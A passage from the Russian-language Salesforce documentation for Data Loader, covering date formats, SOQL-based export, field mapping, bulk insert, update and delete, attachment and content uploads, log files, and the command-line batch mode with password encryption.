• Истинные значения (нечувствительны к регистру) = да, д, истина, вкл, 1

• Ложные значения (нечувствительны к регистру) = нет, н, ложь, выкл, 0

Форматы даты

Рекомендуемиспользоватьформат даты гггг-ММ-ддВЧЧ:мм:сс.ССС+/-ЧЧмм, где:

• гггг — это четырехзначный год

• ММ — это двухзначный месяц (01-12)

• дд — это двухзначный день (01-31)

• ЧЧ — это двухзначный час (00-23)

• мм — это двухзначная минута (00-59)

• сс — это двухзначная секунда (00-59)

• ССС — это трехзначная миллисекунда (000-999)

• +/-ЧЧмм — это смещение часового пояса относительно Гринвича

Ниже перечислены другие поддерживаемые форматы даты.

• гггг-ММ-дд'T'ЧЧ:мм:сс.ССС'Z'

• гггг-ММ-дд'T'ЧЧ:мм:сс.ССС Pacific Standard Time

• гггг-ММ-дд'T'ЧЧ:мм:сс.СССPacific Standard Time

• гггг-ММ-дд'T'ЧЧ:мм:сс.ССС PST

• гггг-ММ-дд'T'ЧЧ:мм:сс.СССPST

• гггг-ММ-дд'T'ЧЧ:мм:сс.ССС GMT-08:00

• гггг-ММ-дд'T'ЧЧ:мм:сс.СССGMT-08:00

• гггг-ММ-дд'T'ЧЧ:мм:сс.ССС-800

• гггг-ММ-дд'T'ЧЧ:мм:сс.ССС-800
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• гггг-ММ-дд'T'ЧЧ:мм:сс

• гггг-ММ-дд ЧЧ:мм:сс

• ггггММдд'T'ЧЧ:мм:сс

• гггг-ММ-дд

• ММ/дд/гггг ЧЧ:мм:сс

• ММ/дд/гггг

• ггггММдд

Ниже перечислены рекомендации по использованиюформатов даты.

• Чтобы включить форматы даты, начинающиеся со дня, а не месяца, установите флажок Use European date
format в диалоговом окне Settings. Европейские форматы даты: дд/ММ/гггг и дд/ММ/гггг ЧЧ:мм:сс.

• При нахождении пользователя к востоку от Гринвича рекомендуем выбрать часовой пояс по Гринвичу,
позволяющий избежать корректировки дат при вставке или обновлении записей.

• Разрешается использовать только даты, соответствующие выбранному диапазону. Допустимая начальная дата:
1700-01-01T00:00:00Z GMT или первые секунды 1 января 1700 года. Допустимая конечная дата: 4000-12-31T00:00:00Z
GMT илипервыесекунды 31 декабря 4000 года. Данные значениясмещаются согласночасовомупоясупользователя.
Например, допустимая начальная дата по тихоокеанскому времени: 1699-12-31T16:00:00 или 16:00 31 декабря
1699 года.

Двойной
Стандартная двойная строка.

Код
КодSalesforce — этострока, состоящаяиз 15 чувствительныхили 18 нечувствительныхкрегиструсимволов, являющаяся
уникальным идентификатором отдельной записи.

Совет: Чтобы гарантировать качество данных, убедитесь, что все коды Salesforce, вводимые в приложение Data
Loader, используют правильный регистр.

Целое число
Стандартная целочисленная строка.

Строковый
Все допустимые XML-строки; недопустимые символы XML удаляются.
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Экспорт данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта записей:
• «Чтение» для записей

Для экспорта всех записей:
• «Чтение» для записей

Мастер экспорта Data Loader позволяет извлекать данные из любого объекта Salesforce.
Экспорт может содержать («Экспортировать все») или не содержать («Экспорт»)
удаленные записи.

1. Откройте приложение Data Loader.

2. НажмитекнопкуExportилиExport All. Данныекомандытакжеотображаютсявменю
File.

3. ВведитеимяпользователяипарольSalesforce. Чтобывыполнитьвход, нажмитекнопку
Log in. Если вход выполнен, нажмите кнопку Next. (При выходе из системы или
закрытии программы требуется повторный вход.)

Если организация использует ограниченный диапазон IP-адресов, то вход
посредствомнепроверенных IP-адресоввозможентолькопослеихактивации. Система
Salesforce автоматически отправляет сообщение эл. почты, содержащее ссылку для
входа и маркер безопасности, который должен быть добавлен в конец пароля.
Например, при использовании пароля МойПароль и маркера безопасности
XXXXXXXXXX вход может быть выполнен только после ввода следующей строки:
МойПарольXXXXXXXXXX.

4. Выберите нужный объект. Например, выберите объект «Организация». Если имя
объектаотсутствуетв стандартномсписке, установитефлажок Show all objects,
чтобы просмотреть полный список доступных объектов. Объекты отображаются
полокализованнойметке, аимяразработчика выделеноскобками. Дополнительную
информацию см. в Руководстве разработчика SOAP API.

5. Чтобы выбрать нужный CSV-файл, нажмите кнопку Browse.... Чтобы создать файл, введите новое имя файла. При
необходимости выберите текущийфайл.

При выборе текущего файла содержимое данного файла подлежит замене. Чтобы подтвердить данное действие,
нажмите кнопку Yes. Чтобы выбрать другой файл, нажмите кнопку No.

6. Нажмите кнопку Next.

7. Создайте запрос SOQL для экспорта данных. Например, установите флажки Id и Name в полях запроса и нажмите
кнопку Finish. В этом случае по мере выполнения дальнейших действий средство просмотра CSV-файлов будет
отображать всеименаи кодыорганизаций. SOQL — этообъектно-ориентированныйязык запросов Salesforce, который
позволяет составлять простые, но очень эффективные строки запросов. Подобно команде SELECT в SQL, язык SOQL
позволяет указывать исходныйобъект, список полей для извлечения и условия для выбора строк в исходномобъекте.

a. Выберите поля для экспорта.

b. При необходимости выберите условияфильтрации набора данных. В противном случае система возвращает все
данные, доступные для чтения.

c. При необходимости просмотрите и измените созданный запрос.

Совет: Запросы взаимосвязи SOQL могут использоваться для добавления полей связанного объекта. Например:

Select Name, Pricebook2Id, Pricebook2.Name, Product2Id, Product2.ProductCode FROM
PricebookEntry WHERE IsActive = true

Или:

Select Id, LastName, Account.Name FROM Contact
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При использовании запросов взаимосвязи в приложении Data Loader полные имена полей чувствительны к
регистру. Например, поле ACCOUNT.NAME, используемое вместо поля Account.Name, не поддерживается.

Приложение Data Loader не поддерживает вложенные запросы или запросы дочерних объектов. Например,
следующий запрос возвращает ошибку:

SELECT Amount, Id, Name, (SELECT Quantity, ListPrice,
PriceBookEntry.UnitPrice, PricebookEntry.Name,
PricebookEntry.product2.Family FROM OpportunityLineItems)
FROM Opportunity

Кроме того, приложение Data Loader не поддерживает запросы, использующие полиморфные взаимосвязи.
Например, следующий запрос возвращает ошибку:

SELECT Id, Owner.Name, Owner.Type, Owner.Id, Subject FROM Case

Дополнительную информацию о SOQL см. в Справочном руководстве по Force.com SOQL и SOSL.

8. Нажмите кнопку Finish. Чтобы подтвердить действие, нажмите кнопку Yes.

9. Статус выполняемой операции отображается в информационном окне.

10. Результаты выполнения операции отображаются в окне подтверждения. Чтобы просмотреть CSV-файл, нажмите
кнопку View Extraction. Чтобы закрыть окно, нажмите кнопку OK. Дополнительную информацию см. в разделе
«Проверка выходных файлов Data Loader» на странице 786.

Прим.:

• В настоящее время приложение Data Loader не поддерживает извлечение вложений. Чтобы экспортировать
вложения, воспользуйтесь функцией еженедельного экспорта в интерактивном приложении.

• Привыборесоставныхполейдля экспортавприложении Data Loader могутотображаться сообщенияобошибках.
Рекомендуем использовать отдельные компоненты поля для экспорта значений.

Определение соотнесений полей Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Чтобы связать поля Salesforce со столбцами CSV-файла при вставке, удалении или
обновлениифайлов, рекомендуемиспользоватьдиалоговоеокно «Соотнесение» (Mapping
Dialog). Дополнительнуюинформациюсм. вразделе «Вставка, обновлениеилиудаление
данных посредством приложения Data Loader» на странице 782.

1. Чтобы выполнить автоматическое соотнесение полей и столбцов, щелкните
Автоматическое соотнесение полей и столбцов (Auto-Match Fields to Columns).
Приложение Data Loader создает список внизу окна на основе сходства имен полей
и столбцов. При операции удаления автоматическое соотнесение поддерживается
только полем кода.

2. Чтобы выполнить соотнесение полей и столбцов вручную, перетащите поля из
списка полей Salesforce в список заголовков столбцов CSV-файла. Например, при
вставке новых организацийииспользовании CSV-файла, содержащегоимена новых
организаций, перетащите поле «Имя» вправо от поля заголовка столбца «ИМЯ».

3. Чтобы сохранить данное соотнесение, нажмите кнопкуСохранить соотнесение (Save Mapping). Введите имя для
файла соотнесения SDL.

При выборе текущего файла содержимое данного файла подлежит замене. Чтобы подтвердить данное действие,
нажмите кнопкуДа (Yes). Чтобы выбрать другой файл, нажмите кнопкуНет (No).
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4. Чтобы использовать соотнесение для текущей операции, нажмите кнопку «ОК».

Вставка, обновление или удаление данных посредством приложения Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Создание» для записиДля вставки записей (Insert):

«Редактирование» для записиДля обновления записей (Update):

«Создание» или «Редактирование» для
записи

Для обновления и вставки записей (Upsert):

«Удаление» для записиДля удаления записей (Delete):

«Удаление» для записиДля необратимого удаления записей (Hard
Delete):

Мастеры вставки (Insert), обновления (Update), обновления и вставки (Upsert), удаления (Delete) и необратимого удаления
(Hard Delete) в приложении Data Loader позволяют создавать, изменять или удалять текущие записи. Обратите внимание,
что под «обновлением и вставкой» (Upsert) понимаются операции вставки (Insert) и обновления (Update). Если запись в
файле соответствует текущейзаписи, то текущая записьобновляется значениямиизфайла. Впротивномслучае создается
новая запись. При использовании необратимого удаления записи удаляются незамедлительно и не перемещаются в
корзину. Дополнительную информацию см. в разделе «Настройка Data Loader» на странице 773.

1. Откройте приложение Data Loader.

2. Нажмите кнопкуВставка (Insert), Обновление (Update), Вставка и обновление (Upsert), Удаление (Delete) или
Безевозвратное удаление (Hard Delete). Данные команды также отображаются в меню File.

3. Введите имя пользователя и пароль Salesforce. Чтобы выполнить вход, нажмите кнопкуВход (Log in). Если вход
выполнен, нажмите кнопкуДалее (Next). (При выходе из системы или закрытии программы требуется повторный
вход.)

Если организация использует ограниченный диапазон IP-адресов, то вход посредством непроверенных IP-адресов
возможентолькопослеих активации. Система Salesforce автоматическиотправляет сообщение эл. почты, содержащее
ссылкудлявходаимаркербезопасности, которыйдолженбытьдобавленвконецпароля. Например, прииспользовании
пароля МойПароль имаркерабезопасности XXXXXXXXXX входможетбыть выполнен толькопосле ввода следующей
строки: МойПарольXXXXXXXXXX.

4. Выберитенужныйобъект. Например, чтобывставить записиорганизаций, выберитеобъектAccount. Еслиимяобъекта
отсутствует в стандартном списке, установите флажок Show all objects, чтобы просмотреть полный список
доступных объектов. Объекты отображаются по локализованной метке, а имя разработчика выделено скобками.
Дополнительную информацию см. в документе Object Reference for Salesforce and Force.com.

5. Чтобы выбрать нужный CSV-файл, нажмите кнопкуОбзор... (Browse...). Например, при вставке записей организаций
выберите CSV-файл insertaccounts.csv, содержащий столбец Namе, предназначенный для имен новых
организаций.

6. Нажмите кнопкуДалее (Next). Нажмите кнопку OK после инициализации объекта и CSV-файла.

7. При выполнении операций обновления и вставки:

a. CSV-файлдолженсодержать столбецсо значениямикода для сопоставления с текущимизаписями. Столбецможет
содержать внешний код (настраиваемое поле с атрибутом «Внешний код») или поле Id  (код записи Salesforce).
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Выберите поле для сопоставления из раскрывающегося списка. Если объект не содержит полей внешнего кода,
то поле Id используется автоматически. Нажмите кнопкуДалее (Next).

b. Если файл содержит внешние коды объекта, связанного с выбранным объектом, включите внешний код для
сопоставления записей путем выбора имени из раскрывающегося списка. В противном случае воспользуйтесь
полем Id связанного объекта путем его соотнесения в следующем действии. Нажмите кнопкуДалее (Next).

8. Определите способ соотнесения столбцов CSV-файла сполями Salesforce. Чтобывыбрать текущее соотнесениеполей,
щелкнитеВыбрать существующуюкарту (Choose an Existing Map). Чтобы создать или изменить текущее
соотнесение, щелкнитеСоздать или редактировать карту (Create or Edit a Map). Дополнительные сведения и
пример использования см. в разделе «Определение соотнесений полей Data Loader» на странице 781.

9. Нажмите кнопкуДалее (Next).

10. Приложение Data Loader создает два уникальных CSV-файла для каждой операции; имя одного файла начинается со
слова success, а имя другого со слова error. Чтобы выбрать каталог для данных файлов, нажмите кнопкуОбзор...
(Browse...).

11. Чтобы выполнить операцию, нажмите кнопки Закончить (Finish) иДа (Yes).

12. При выполнении операции статус перемещения данных отображается в информационном окне.

13. Результаты выполнения операции отображаются в окне подтверждения. Чтобы просмотреть файл success, нажмите
кнопкуПоказатьфайлы success (View Successes). Чтобыпросмотретьфайл error, нажмите кнопкуПоказатьфайлы
error (View Errors). Чтобы закрыть окно, нажмите кнопкуOK. Дополнительнуюинформациюсм. в разделе «Проверка
выходных файлов Data Loader» на странице 786.

Совет:

• Советы и рекомендации по обновлению или удалению больших объемов данных см. в разделах «Выполнение
пакетных обновлений» и «Выполнение пакетных удалений».

• Если включена поддержка Bulk API, то обработка 100 записей ограничивается пятью минутами. Если обработка
файла занимает более 10 минут, то интерфейс Bulk API добавляет остаток файла в очередь для более поздней
обработки. Еслипоследующиепопытки, предпринимаемыеинтерфейсомBulk API, такжепревышают10-минутное
ограничение, тофайлдобавляется вочередьивыполняетсяповторнонеболее10раз. Еслиповторныеобработки
файлатакжезавершилисьсбоем, тооперацияпомечаетсякакнеудачная. Некоторыезаписимогутбытьобработаны
несмотря на неудачную общую обработку. Рекомендуем проверить результаты выполнения операции. Если
время загрузки файла превышает допустимое ограничение, разделите файл на несколько частей и повторите
попытку.

Выполнение пакетных обновлений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Чтобы одновременно обновить большое количество записей, выполните указанные
ниже действия.

1. Чтобыполучить данные, выполните экспорт нужных объектов или запустите отчет.
Убедитесь, что отчет содержит код записи.

2. Сохраните дополнительную копию созданного CVS-файла.

3. Откройте рабочий файл в CSV-редакторе (например, Excel) и обновите данные.

4. Запустите приложение Data Loader и выполните инструкции мастера обновления.
Обратите внимание, что сопоставление выполняется по коду записи. См. раздел
«Вставка, обновление или удаление данных посредством приложения Data Loader»
на странице 782.
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5. По завершении просмотритефайлы success и error. См. раздел «Проверка выходныхфайлов Data Loader» на странице
786.

6. Чтобы восстановить предыдущие значения записи, воспользуйтесь файлом резервной копии.

Выполнение пакетных удалений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Чтобы одновременно удалить большое количество записей с помощью приложения
Data Loader, выполните указанные ниже действия.

1. Выберите всеполяивыполните экспорт записей, подлежащихудалению. (См. раздел
«Экспортданных»на странице780.) Сохранитедополнительнуюкопиюсозданного
CVS-файла.

2. Выберите только поле «Код записи» и выполните повторный экспорт записей,
подлежащих удалению.

3. Запустите приложение Data Loader и выполните инструкции мастера удаления.
Соотнесите только столбец «Код». См. раздел «Вставка, обновление или удаление
данных посредством приложения Data Loader» на странице 782.

4. По завершении просмотритефайлы success и error. См. раздел «Проверка выходных
файлов Data Loader» на странице 786.

Загрузка вложений
Приложение Data Loader можетиспользоватьсядля загрузкивложенийвсистемуSalesforce. Преждечемзагрузитьвложения,
просмотрите рекомендации ниже.

• ЧтобызагрузитьданныепосредствоминтерфейсаBulk API, убедитесьвналичиифлажка Upload Bulk API Batch
as Zip File в меню Settings > Settings.

• Если вложения переносятся из исходной организации Salesforce в целевую организацию Salesforce, рекомендуем
сначала отправить запрос на экспорт данных для исходной организации. Чтобы добавитьфайл Attachment.csv
в экспорт, установите флажок Include Attachments... на странице Schedule Export. Данный CSV-файл может
использоваться для загрузки вложений. Дополнительную информацию об услуге экспорта см. в разделе «Экспорт
резервных данных» на странице 827.

Чтобы загрузить вложения, выполните указанные ниже действия.

1. Убедитесь, что CSV-файл, который должен использоваться для импорта вложений, содержит обязательные столбцы
ниже (каждый столбец соответствует полю Salesforce).

• ParentId: код родительской записи в системе Salesforce.

• Name: имя файла вложения (например, myattachment.jpg).

• Body: абсолютный путь к вложению на локальном диске.

Убедитесь, что значения в столбце Body содержат полное имя файла вложения, используемое для хранения
файла в компьютере. Например, если вложение moeVlozhenie.jpg хранится в компьютере по адресу
C:\Export, то столбец Body долженсодержать значение C:\Export\moeVlozhenie.jpg. Нижеприведен
пример CSV-файла.

ParentId,Name,Body
50030000000VDowAAG,attachment1.jpg,C:\Export\attachment1.gif
701300000000iNHAAY,attachment2.doc,C:\Export\files\attachment2.doc

CSV-файл может также содержать другие дополнительные поля вложений (например, Description).
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2. Выполните операцию вставки или обновления и вставки (см. раздел «Вставка, обновление или удаление данных
посредством приложения Data Loader» на странице 782). Установитефлажок Show all Salesforce objects и
выберите имя объекта Attachment из списка в действии Select data objects.

Загрузка содержимого посредством приложения Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приложение Data Loader позволяет выполнять пакетную загрузку документов и ссылок
в библиотеки Salesforce CRM Content. Прежде чем загрузить документы или ссылки,
просмотрите приведенные ниже рекомендации.

• Чтобы загрузить данные посредством интерфейса Bulk API, убедитесь в наличии
флажка Upload Bulk API Batch as Zip File в меню Settings > Settings.

• Если приложение Data Loader используется для загрузки документа с локального
диска, укажите путь в полях VersionData и PathOnClient, доступных в
CSV-файле. Поле VersionData определяет расположение и извлекает формат, а
поле PathOnClient определяет тип загружаемого документа.

• Если приложение Data Loader используется для загрузки ссылки, укажите URL-адрес
в поле ContentUrl. Не используйте поле PathOnClient или VersionData
для загрузки ссылок.

• Приложение Data Loader не может использоваться для экспорта содержимого.

• Если вы обновляете содержимое, которое вы уже передали:

– Выполните функцию «Вставка».

– Включите столбец ContentDocumentId с идентификатором из 18 символов. Salesforce с помощью этой
информации определяет, что вы обновляете содержимое. Когда вы сопоставляете ContentDocumentId,
обновлениядобавляютсявфайлсодержимого. Еслиневключить ContentDocumentId, тосодержимоеобрабатывается
как новое и файл содержимого не обновляется.

1. Создайте CSV-файл, содержащий перечисленные ниже поля.

• Title: имя файла.

• Description: описание файла или ссылки (дополнительно).

Прим.: Описание, содержащее запятые, должно быть окружено двойными кавычками.

• VersionData: полный путь к файлу на локальном диске (только для загрузки документов).

Прим.: Загруженныйфайл преобразуется в Base-64. Данное действие увеличивает размер файла примерно
на 30 %.

• PathOnClient: полный путь к файлу на локальном диске (только для загрузки документов).

• ContentUrl: URL-адрес (только для загрузки ссылок).

• OwnerId: ответственный за файл; по умолчанию пользователь, загружающийфайл (дополнительно).

• FirstPublishLocationId: код библиотеки.

• RecordTypeId: идентификатор типа записи.

Прим.: Поле RecordTypeId является обязательным при публикации в библиотеку с ограниченными
типами записи.
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Чтобы определить значения поля RecordTypeId посредством приложения Data Loader, выполните действия,
указанные в разделе «Экспорт данных». Ниже приведен пример SOQL-запроса.

Select Id, Name FROM RecordType WHERE SobjectType = 'ContentVersion'

Чтобыопределитьзначенияполя RecordTypeId посредствоминструментарияAJAX Toolkit, выполнитеуказанные
ниже действия.

a. Выполните вход в систему Salesforce.

b. Заполните адресную строку обозревателя следующим URL-адресом:
http://имяЭкземпляра.salesforce.com/soap/ajax/36.0/debugshell.html. Замените имяЭкземпляра
нужным значением (например, na1). Параметр имяЭкземпляра отображается в адресном поле обозревателя
после входа в систему Salesforce.

c. Введите строку ниже на странице AJAX Toolkit Shell.

sforce.connection.describeSObject("ContentVersion")

d. Нажмите клавишу Enter.

e. Щелкните по стрелкам для recordTypeInfos.

При этом отображаются все значения поля RecordTypeId, заданные для организации.

• TagsCsv: тег (дополнительно).

Ниже приведен пример CSV-файла.

Title,Description,VersionData,PathOnClient,OwnerId,FirstPublishLocationId,RecordTypeId,TagsCsv
testfile,"This is a test file, use for bulk
upload",c:\files\testfile.pdf,c:\files\testfile.pdf,005000000000000,058700000004Cd0,012300000008o2sAQG,one

2. Загрузите CSV-файл для объекта ContentVersion (см. раздел «Вставка, обновление или удаление данных посредством
приложения Data Loader» на странице 782). Все документы и ссылки доступны в указанной библиотеке.

Проверка выходных файлов Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

После каждой операции импорта или экспорта приложение Data Loader создает два
CSV-файла результатов. Имя одногофайла начинается со слова success, а имя другого со
слова error. Во время каждой операции экспорта приложение Data Loader сохраняет
извлеченные данные в CSV-файл, выбранный пользователем в мастере. Приложение
Data Loaderподдерживаетвстроенноесредствопросмотра CSV-файлов, котороепозволяет
открывать и просматривать файлы данного типа.

Чтобыпросмотреть выходныефайлыData Loader, выполните указанные ниже действия.

1. Последовательно выберитеПоказать (View) > Показать CSV (View CSV).

2. Укажите количество строк для просмотра. Каждая строка CSV-файла соответствует
одной записи Salesforce. Значение по умолчанию — 1 000.

3. Чтобы просмотреть выбранный CSV-файл, нажмите кнопкуОткрыть CSV (Open
CSV). Чтобы просмотреть последнийфайл success, нажмите кнопкуОткрытьфайл success (Open Success). Чтобы
просмотреть последнийфайл error, нажмите кнопкуОткрытьфайл error (Open Error). CSV-файл откроется в новом
окне.
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4. Чтобы открыть файл в связанной внешней программе (например, Microsoft® Office Excel), нажмите кнопкуОткрыть
во внешней программе (Open in External Program).

Файл success содержит все записи, загрузка которых выполнена без ошибок. Данныйфайл содержит столбец для
отображения кодов созданных записей. Файл error содержит все записи, загрузка которых отклонена. Данныйфайл
содержит столбец для отображения причин сбоя загрузки.

5. Чтобыоткрытьокновыбора CSV-файла (CSV Chooser), нажмите кнопкуЗакрыть (Close). Чтобызакрытьокно, нажмите
кнопкуОК.

Прим.: Чтобы создать файлы success при выполнении экспорта данных, установитефлажок Generate status
files for exports. Дополнительную информацию см. в разделе «Настройка Data Loader» на странице 773.

Просмотр файла журнала приложения Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Системныежурналы, отслеживающиеоперациии сетевыеподключения, выполняемые
приложениемData Loader, могутиспользоватьсядляопределенияошибок, возникающих
во время работы приложения Data Loader, или быть отправлены сотрудникам службы
поддержки Salesforce при получении соответствующего запроса.

Файлжурнала sdl.log содержитподробныйхронологическийсписокзаписейжурнала
приложения Data Loader. Записи журнала с меткой INFO являются процедурными
элементами (например, входв систему Salesforceивыходизнее). Записижурнала сметкой
ERROR являются ошибками (например, отсутствие обязательного поля в отправленной
записи). Дляпросмотрафайлажурналаможноиспользоватьлюбойдоступныйтекстовый
редактор (например, Блокнот).

Если вы пользуетесь приложением Data Loader для Windows, то для просмотра файла
журналаможно ввести %TEMP%\sdl.log либо в диалоговомокне «Выполнить», либо
в адресной строке Проводника Windows.

ЕсливыпользуетесьприложениемData Loaderдля Mac OSX, тодляпросмотрафайлажурналаоткройте терминаливведите
open $TMPDIR/sdl.log.

Есливход в системунеможетбыть выполненпосредствомпользовательскогоинтерфейса, рекомендуемполучитьновый
маркер безопасности.

Выполнение пакетных процессов (только Windows)

Пакетный режим

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Чтобызапуститьприложение Data Loader впакетномрежиме, воспользуйтеськомандной
строкой. Дополнительную информацию см. в разделах ниже.

• Установленные каталоги и файлы

• Шифрование из командной строки

• Обновление интерфейса пакетного режима

• Интерфейс командной строки Data Loader

• Настройка пакетных процессов
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• Параметры конфигурации процессов Data Loader

• Операции командной строки Data Loader

• Настройка доступа к базе данных

• Соотнесение столбцов

• Выполнение отдельных пакетных процессов

• Объекты доступа к данным

Прим.: Дополнительную информацию об использовании пакетного режима посредством командной строки 8.0
или более ранней версии см. в разделе «Обновление интерфейса пакетного режима» на странице 789.

Установленные каталоги и файлы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

При установке приложенияData Loader 8.0 или более поздней версии каталог установки
дополняется несколькими подкаталогами. Ниже перечислены каталоги, используемые
для запуска программы из командной строки для автоматической пакетной обработки.

bin
Данныйкаталогсодержитпакетныефайлы encrypt.bat дляшифрованияпаролей
и process.bat для выполнения пакетных процессов.

Дополнительную информацию о запуске приложения Data Loader из командной
строки см. в разделе «Интерфейс командной строки Data Loader» на странице 790.

conf
Стандартный каталог конфигурации. Данный каталог содержит файлы конфигурации config.properties,
Loader.class и log-conf.xml.

Файл config.properties, созданныйприизменениидиалоговогоокна Settings в графическомпользовательском
интерфейсе, хранится в следующей папке: C:\Documents and
Settings\имя_пользователя_Windows\Application Data\Salesforce\Data Loader номер_версии. Данный
файл может быть скопирован в каталог установки conf для использования в пакетных процессах.

The log-conf.xml  file is included with version 35.0 of the Data Loader for Windows installer. The log-conf.xml  is located
at %LOCALAPPDATA%\salesforce.com\Data Loader\samples\conf\log-conf.xml  for the current user,
and C:\Program Files (x86)\salesforce.com\Data Loader\samples\conf\log-conf.xml  for all
users.

samples
Данный каталог содержит подкаталоги опорных файлов-примеров.

Правило использования пути к файлу

Пути, рассмотренные в данных разделах, начинаются на один уровень ниже каталога установки. Например, путь \bin
соответствуетпути C:\Program Files\Salesforce\Data Loader номер_версии\bin, приусловиииспользования
стандартного каталога установки. При использовании другого каталога введите соответствующий путь.

788

Data LoaderНастройка и обслуживание организации Salesforce



Шифрование из командной строки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Если приложение Data Loader запускается в пакетном режиме из командной строки, то
перечисленные ниже параметры конфигурации должны быть зашифрованы.

• sfdc.password

• sfdc.proxyPassword

Приложение Data Loader поддерживает служебную программу шифрования,
защищающуюпароли, указанныевфайлахконфигурации. Даннаяслужебнаяпрограмма
используется для шифрования паролей, но не поддерживает шифрование данных,
переданных посредством приложения Data Loader.

1. Запустите файл \bin\encrypt.bat.

2. Чтобы выполнить действия ниже, воспользуйтесь подсказками в командной строке.

Создание ключа
Текст ключа генерируется на основе введенного текста. Аккуратно скопируйте текст ключа в файл ключей,
пропуская все начальные и конечные пробелы. Файл ключей может использоваться для шифрования и
расшифровки.

Шифрование текста
Создайте зашифрованнуюверсиюпароляилилюбогодругоготекста. Принеобходимостиукажитефайлключей
для шифрования. Убедитесь, что зашифрованный текст скопирован правильно, а файл ключей упоминается в
файле конфигурации.

Проверка зашифрованного текста
Приналичиизашифрованногоирасшифрованногопаролейубедитесь, чтозашифрованныйпарольсоответствует
расшифрованному. Сообщение об успешном или неудачном выполнении отображается в командной строке.

Обновление интерфейса пакетного режима

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Интерфейс пакетного режима в приложении Data Loader 8.0 или более поздней версии
не имеет обратной совместимости с предыдущими версиями. Ниже перечислены
действия, доступные при выполнении пакетных процессов посредством приложения
Data Loader более ранней версии, чем 8.0.

Сохранение предыдущей версии для использования пакетов
НерекомендуемудалятьпредыдущуюверсиюприложенияData Loader. Даннаяверсия
может использоваться для выполнения пакетных процессов. В отличие от новых
функций (например, подключение к базе данных), интеграции будут доступны
пользователям в полном объеме. При необходимости новая версия может быть
установлена в качестве дополнения к предыдущей версии, которая будет
использоваться только для выполнения пакетных процессов.

Созданиефайла config.properties в новом графическом пользовательском интерфейсе
Новыйграфическийпользовательскийинтерфейсможетиспользоватьсядлясозданияфайла config.properties
и настройки тех же свойств только в том случае, если исходныйфайл был создан посредством графического
пользовательского интерфейса. Новыйфайл может использоваться в новом интерфейсе пакетного режима.
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Обновлениефайла config.properties вручную
Предыдущийфайл config.properties, созданныйвручную, долженбытьобновленвручную. Дополнительную
информацию см. в разделе «Установленные каталоги и файлы» на странице 788.

Интерфейс командной строки Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Чтобы выполнить автоматическую пакетную операцию (например, ночные загрузки и
извлечения), рекомендуем запустить приложение Data Loader посредством командной
строки. Прежде чем выполнить любую пакетную операцию, убедитесь, что файл
конфигурации содержит зашифрованный пароль. Дополнительнуюинформацию см.
в разделах «Знакомство с Data Loader» на странице 808 и «Шифрование из командной
строки»настранице789. Вкоманднойстроке выберитекаталог bin ивведитеимяфайла
process.bat со следующими параметрами:

• Каталог, содержащийфайл config.properties.

• Имя компонента пакетного процесса, хранящегося в файле process-conf.xml.

Файл log-conf.xml, включенный в версию 35.0 Загрузчика данных для программы установки Windows. Файл
log-conf.xml расположен по адресу %LOCALAPPDATA%\salesforce.com\Data
Loader\samples\conf\log-conf.xml для текущего пользователя, и C:\Program Files
(x86)\salesforce.com\Data Loader\samples\conf\log-conf.xml для всех пользователей.

Дополнительнуюинформациюобиспользованиифайла process.bat см. вразделе «Выполнениеотдельныхпакетных
процессов» на странице 808.

Чтобы просмотреть советы и рекомендации, добавьте -help к команде, хранящейся в файле process.bat.

Приложение Data Loader выполняет любую операцию, файл или соотнесение, указанное в выбранномфайле
конфигурации. Если каталог конфигурации не выбран пользователем, то приложение использует текущий каталог. По
умолчаниюфайлы конфигурации Data Loader устанавливаются в следующую область:

C:\Program Files\Salesforce\Data Loader номер версии\conf

Чтобынастроитьпакетнуюобработку, воспользуйтесьфайлом process-conf.xml. Укажитеимяпроцесса в атрибуте
id элемента bean (например, <bean id="моеИмяПроцесса">).

